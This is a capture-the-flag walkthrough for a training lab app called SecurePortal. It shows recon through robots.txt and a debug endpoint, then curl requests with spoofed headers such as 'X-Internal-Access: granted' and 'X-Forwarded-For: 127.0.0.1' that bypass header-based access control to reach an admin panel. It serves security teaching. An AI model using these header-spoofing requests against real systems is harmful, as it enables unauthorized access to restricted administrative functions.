This secure web portal thinks it can control access using HTTP headers and client-side restrictions. 🛡️ But seasoned security researchers know that anything controlled by the client can be manipulated! 🔧 Master the art of header manipulation and discover how seemingly secure applications can be bypassed with the right techniques. 🎯
Navigate to http://
to access the SecurePortal application. The main page displays:
The application explicitly mentions that it implements header-based access control, providing the first clue about the attack vector.
Check the robots.txt file for configuration hints and restricted paths:
curl http:///robots.txt
The robots.txt file reveals critical information:
User-agent: *
Disallow: /admin
Disallow: /api/
Allow: /info
# Internal access configuration
# Header format: X-Internal-Access
# Authorization values: granted, denied
Key Discovery: The robots.txt file directly reveals the header name (X-Internal-Access
) and valid authorization values (granted
, denied
).
Explore the /info endpoint mentioned in robots.txt:
curl http:///info
This endpoint provides system information including:
For additional details, try the debug parameter:
curl http:///info?debug=1
Debug mode reveals detailed configuration information:
{
"debug": {
"auth_method": "header_based",
"expected_headers": {
"example_pattern": "X-Internal-*: <authorization_value>",
"valid_values": ["granted", "allowed", "authorized"]
}
}
}
Test various headers to understand the application's feedback mechanism. The application provides real-time feedback for header attempts:
# Test administrative headers
curl -H "X-Admin: true" http://
# Response: "Detected administrative header attempt. Try internal access headers."
# Test IP-based headers
curl -H "X-Forwarded-For: 127.0.0.1" http://
# Response: "IP-based headers detected. Consider internal network access headers."
# Test internal access with wrong value
curl -H "X-Internal-Access: wrong" http://
# Response: "Internal access header detected with value 'wrong'. Check authorization values."
The application's feedback system guides users toward the correct header format and values, making this a realistic learning experience.
Based on the information gathered from robots.txt, debug endpoint, and interactive feedback, construct the correct header:
X-Internal-Access: granted
Execute the bypass:
curl -H "X-Internal-Access: granted" http://
Successful bypass results in access to the administrative panel instead of the access control page.
With the correct header, the application displays the administrative interface containing:
The administrative panel displays the flag in a dedicated container. The flag is clearly visible and formatted as a UUID for easy identification and submission.
Alternative retrieval methods:
# Via API endpoint
curl -H "X-Internal-Access: granted" http:///api/status
# Via admin endpoint
curl -H "X-Internal-Access: granted" http:///admin
For browser-based testing, use developer tools to modify headers:
X-Internal-Access: granted
Alternatively, use browser extensions like ModHeader or Modify Headers for real-time header manipulation.
This challenge demonstrates a critical security flaw where:
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.